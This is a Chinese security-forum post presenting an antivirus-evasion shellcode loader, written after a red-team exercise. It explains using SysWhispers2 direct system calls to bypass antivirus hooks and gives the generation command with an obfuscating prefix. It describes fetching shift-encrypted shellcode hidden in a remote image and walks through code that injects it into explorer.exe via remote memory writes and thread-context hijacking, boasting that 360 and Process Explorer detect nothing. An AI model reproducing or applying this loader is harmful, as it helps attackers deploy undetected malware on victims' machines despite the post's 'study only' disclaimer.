安全矩阵

 找回密码
 立即注册
搜索
查看: 821|回复: 0

站在巨人的肩膀上一种ShellLoder免杀方法-附POC

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-9-9 10:05:32 | 显示全部楼层 |阅读模式
0x01
前言
本次免杀的研究经历了某次hvv的实战后,决定放出源码供大家进行学习研究。
由于大部分杀软和安全设备是通过在用户模式API 函数中放置钩子,能够将程序中代码的执行流重定向到其引擎并检测可疑行为,然而ntdll.dll中调用系统函数的仅仅只有几个汇编指令,所以如果想规避到杀软检测,只需要自己实现汇编的系统调用即可。
本文是借鉴了著名的开源项目SysWhisper生成的汇编代码来进行免杀shellcode编写的。目前该项目已经升级到了第三个版本,本文中使用的是第二个版本。详情可以参考下面的github链接
https://github.com/jthuraisamy/SysWhispers2

0x02
SysWhisper该工具的主要用途是用来生成系统调用文件,文件中包含了指定的绕过Hook的函数接口。
目前支持生成的函数接口有如下
  • NtCreateProcess (CreateProcess)
  • NtCreateThreadEx (CreateRemoteThread)
  • NtOpenProcess (OpenProcess)
  • NtOpenThread (OpenThread)
  • NtSuspendProcess
  • NtSuspendThread (SuspendThread)
  • NtResumeProcess
  • NtResumeThread (ResumeThread)
  • NtGetContextThread (GetThreadContext)
  • NtSetContextThread (SetThreadContext)
  • NtClose (CloseHandle)
  • NtReadVirtualMemory (ReadProcessMemory)
  • NtWriteVirtualMemory (WriteProcessMemory)
  • NtAllocateVirtualMemory (VirtualAllocEx)
  • NtProtectVirtualMemory (VirtualProtectEx)
  • NtFreeVirtualMemory (VirtualFreeEx)
  • NtQuerySystemInformation (GetSystemInfo)
  • NtQueryDirectoryFile
  • NtQueryInformationFile
  • NtQueryInformationProcess
  • NtQueryInformationThread
  • NtCreateSection (CreateFileMapping)
  • NtOpenSection
  • NtMapViewOfSection
  • NtUnmapViewOfSection
  • NtAdjustPrivilegesToken (AdjustTokenPrivileges)
  • NtDeviceIoControlFile (DeviceIoControl)
  • NtQueueApcThread (QueueUserAPC)
  • NtWaitForMultipleObjects (WaitForMultipleObjectsEx)


其中括号内的函数代表的是原始系统调用的函数接口名,也就是我们想绕过的函数接口。

下面将用本次实现的一个shellcode举例。
  1. <section class="code-snippet__fix code-snippet__js"><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">python3 .\syswhispers.py -f NtOpenProcess,NtSuspendThread,NtGetContextThread,NtSetContextThread,NtResumeThread,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtProtectVirtualMemory --<span class="code-snippet__function"><span class="code-snippet__keyword">function</span>-<span class="code-snippet__title">prefix</span> <span class="code-snippet__title">Vegex</span> -<span class="code-snippet__title">o</span> <span class="code-snippet__title">syscalls</span></span></span></code></pre></section><p></p>
复制代码

         其中参数—function-prefix 即生成的函数接口名前缀,为了来混淆系统调用名,避免被杀软捕获指纹。-f 参数列出的就是所有需要绕过系统调用的函数接口名。
                  


其中的c文件是实现了系统调用的寻址方法,而asm的汇编代码中是寻址表,头文件即我们调用的所有函数接口声明。


0x03
ShellLoader

加密shellcode  这次项目使用的是分离免杀的方法,至于分离免杀就不作过多赘述了。通过python制作一个携带shellcode的图片,同时将shellcode进行简单的移位加密处理。
         
本项目实现的shellcode是将远端图片拉取后,进行解密。

然后为了提高隐蔽性,代码中遍历了进程名,并且尝试将shellcode注入名为“explore.exe”的进程中,当然这样的操作存在一点的风险,可能导致目标进程崩溃,但是笔者目前测试下来多个系统未出现该问题,仅win10偶尔出现过一次。

最后便是本次免杀的主角,通过调用SysWhisper生成的接口进行shellcode加载。

  1. <p class="MsoNormal">首先打开进程<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">NTSTATUS status =
  2. VegexOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cid);<o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">        
  3. <o:p></o:p></span></p><p class="MsoNormal">申请内存<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">VegexAllocateVirtualMemory(hProcess,
  4. &remoteAddr, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);<o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">        
  5. <o:p></o:p></span></p><p class="MsoNormal">将<span lang="EN-US">shellcode</span>写入内存中<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">VegexWriteVirtualMemory(hProcess,
  6. remoteAddr, pp, sizeof(pp), NULL);<o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">        
  7. <o:p></o:p></span></p><p class="MsoNormal">修改内存可执行<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">VegexProtectVirtualMemory(hProcess,
  8. &remoteAddr, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);<o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">        
  9. <o:p></o:p></span></p><p class="MsoNormal">创建远程线程<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">HANDLE hThread =
  10. CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteAddr, NULL,
  11. 0, NULL);<o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">        
  12. <o:p></o:p></span></p><p class="MsoNormal">暂停主线程<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">VegexSuspendThread(hThread,
  13. &previousSuspendCount);<o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">        
  14. <o:p></o:p></span></p><p class="MsoNormal">获取主线程上下文<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">VegexGetContextThread(hThread, &ctx);<o:p></o:p></span></p><p class="MsoNormal">修改<span lang="EN-US"> EIP </span>寄存器的值为<span lang="EN-US">
  15. shellcode </span>的地址<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">ctx.Rip = (DWORD)remoteAddr;<o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">        
  16. <o:p></o:p></span></p><p class="MsoNormal">设置线程上下文<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">VegexSetContextThread(hThread, &ctx);<o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">   <o:p></o:p></span></p><p class="MsoNormal">恢复主线程<span lang="EN-US"><o:p></o:p></span></p><p>





















































  17. </p><p class="MsoNormal"><span lang="EN-US">VegexResumeThread(hThread,
  18. &previousSuspendCount);</span></p>
复制代码


具体编译方法参考github中的说明,这里不再赘述
开启360核晶后,本地测试,无任何反应,完美上线


同时通过Process Explorer进行进程查看,没有发现任何进程痕迹,例如上图注入的explorer.exe 的进程号是6344
下图中没有发现任何痕迹,隐蔽性非常高




0x04
总结
文中的免杀方法较为简单,主要是依赖于SysWhisper的系统调用,未加入例如沙箱检测、关键字混淆等代码,主要是抛砖引玉,师傅们可以在本项目中进行修改添加跟多免杀功能,获得本项目下载地址,请在后台私信“免杀”即可。同时本项目仅供学习研究,请勿用于违法违规的测试或攻击。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 11:56 , Processed in 0.014956 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表